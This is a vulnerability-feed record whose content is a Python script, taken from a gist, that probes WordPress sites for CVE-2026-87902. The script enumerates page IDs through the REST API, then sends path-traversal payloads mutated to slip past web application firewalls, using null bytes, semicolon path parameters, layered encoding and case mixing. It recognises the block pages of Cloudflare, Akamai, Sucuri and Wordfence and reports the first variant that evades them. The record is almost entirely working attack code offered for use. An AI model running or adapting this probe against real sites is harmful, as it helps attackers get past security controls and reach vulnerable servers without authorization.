{"uuid": "556466d2-0cd6-4b40-acc5-38e15e80e5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-87902", "type": "seen", "source": "https://gist.github.com/giaoimgiao/e763a0e2249f76f2f2e3699efd09633a", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"WAF bypass probe for CVE-2026-87902.\n\nA WAF that blocks the plain `../` traversal is not the end of the chain. This\nprobe mutates the same payload the detector already sends and looks for a\nresponse that stops looking like the vendor's block page. Each mutation is a\ncandidate from the bypass notes: keyword split, charset tricks, alternate\nencodings, and smaller request surface.\n\nThe output deliberately prints lengths and first bytes so a human can tell\n\"edge answered 403 again\" from \"we reached PHP\".\n\"\"\"\n\nimport itertools\nimport json\nimport ssl\nimport sys\nimport http.client\n\nUA = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36\"\n\n\ndef request(host, method, path, body=None, timeout=12.0):\n    ctx = ssl._create_unverified_context()\n    conn = http.client.HTTPSConnection(host, 443, timeout=timeout, context=ctx)\n    headers = {\n        \"User-Agent\": UA,\n        \"Accept\": \"*/*\",\n        \"Connection\": \"close\",\n    }\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n    conn.request(method, path, body=body, headers=headers)\n    resp = conn.getresponse()\n    data = resp.read().decode(\"utf-8\", \"replace\")\n    code = resp.status\n    conn.close()\n    return code, data\n\n\ndef enc(path):\n    return path.replace(\"/\", \"%2F\").replace(\".\", \"%2E\").replace(\"%\", \"%25\")\n\n\ndef variants(page_id):\n    \"\"\"Yield (name, body) for the same traversal goal.\"\"\"\n    # canonical traversal reaching /index.php from page-templates/\n    plain = \"templates/\" + \"../\" * 7 + \"index\"\n    variants = [\n        (\"plain\", plain),\n        # 2.1 keyword split: break the literal \"../\" WAF looks for\n        (\"split_dot\", \"templates/\" + \"../\" * 7 + \"index\" + \".\" + \"php\"),\n        # mixed encoding depth so a single decode leaves non-canonical bytes\n        (\"tri_encode\", plain.replace(\"%\", \"%2525\") if \"%\" in plain else plain),\n        # semicolon path param and query smuggling sometimes bypass URL rules\n        (\"semicolon\", plain.replace(\"../\", \"..;/\")),\n        # null byte / unicode tricks when the WAF parses before PHP\n        (\"null_byte\", plain.replace(\"index\", \"index%00\")),\n        (\"case_mix\", plain.replace(\"templates\", \"TeMpLaTeS\")),\n        # alternate depth: WAF may be anchored on exactly seven segments\n        (\"depth_6\", \"templates/\" + \"../\" * 6 + \"index\"),\n        (\"depth_8\", \"templates/\" + \"../\" * 8 + \"index\"),\n        # keep payload small: oracle file instead of the longest path\n        (\"small\", \"templates/\" + \"../\" * 7 + \"readme.html\"),\n    ]\n    seen = set()\n    for name, raw in variants:\n        body = \"page_id=%d&amp;pagename=%s\" % (page_id, enc(raw))\n        if body in seen:\n            continue\n        seen.add(body)\n        yield name, body\n\n\ndef looks_blocked(status, body):\n    low = body.lower()\n    if status not in (403, 406, 429, 503):\n        return False, \"\"\n    for mk in (\"cloudflare\", \"attention required\", \"cf-ray\", \"ray id\",\n               \"akamai\", \"sucuri\", \"incapsula\", \"wordfence\"):\n        if mk in low:\n            return True, mk\n    return False, \"\"\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) &gt; 1 else None\n    if not host:\n        print(\"usage: waf_bypass_probe.py \")\n        return 2\n    base = host.replace(\"https://\", \"\").replace(\"http://\", \"\").strip(\"/\")\n\n    # find a page id the same way the detector does\n    code, body = request(base, \"GET\",\n                         \"/wp-json/wp/v2/pages?per_page=100&amp;_fields=id,slug,template\")\n    page_id = None\n    if code == 200:\n        try:\n            pages = json.loads(body)\n            for p in pages:\n                if not p.get(\"template\"):\n                    page_id = p.get(\"id\")\n                    break\n            page_id = page_id or (pages[0].get(\"id\") if pages else None)\n        except ValueError:\n            pass\n    if not page_id:\n        # fall back to index route\n        code, body = request(base, \"GET\",\n                             \"/index.php?rest_route=/wp/v2/pages&amp;per_page=100&amp;_fields=id,slug,template\")\n        if code == 200:\n            try:\n                pages = json.loads(body)\n                page_id = pages[0].get(\"id\") if pages else None\n            except ValueError:\n                pass\n    print(\"host=%s page_id=%s\" % (base, page_id))\n    if not page_id:\n        print(\"no page id, abort\")\n        return 1\n\n    bcode, bbody = request(base, \"POST\", \"/\", body=\"page_id=%d\" % page_id)\n    print(\"baseline status=%s len=%d\" % (bcode, len(bbody)))\n\n    results = []\n    for name, body in variants(page_id):\n        code, text = request(base, \"POST\", \"/\", body=body)\n        blocked, vendor = looks_blocked(code, text)\n        diff = abs(len(text) - len(bbody))\n        sig = []\n        if \"open_basedir restriction\" in text.lower():\n            sig.append(\"open_basedir\")\n        if \"not within the allowed path\" in text.lower():\n            sig.append(\"not_within\")\n        if \"../\" in text:\n            sig.append(\"traversal_echo\")\n        if code != bcode:\n            sig.append(\"status_%s\" % code)\n        row = {\n            \"name\": name, \"status\": code, \"len\": len(text),\n            \"blocked\": blocked, \"vendor\": vendor, \"diff\": diff,\n            \"signals\": sig, \"head\": text[:120].replace(\"\\n\", \" \"),\n        }\n        results.append(row)\n        print(json.dumps(row, ensure_ascii=False))\n        if sig and not blocked:\n            print(\"&gt;&gt;&gt; candidate bypass:\", name)\n            break\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "creation_timestamp": "2026-09-28T08:19:45.000000Z"}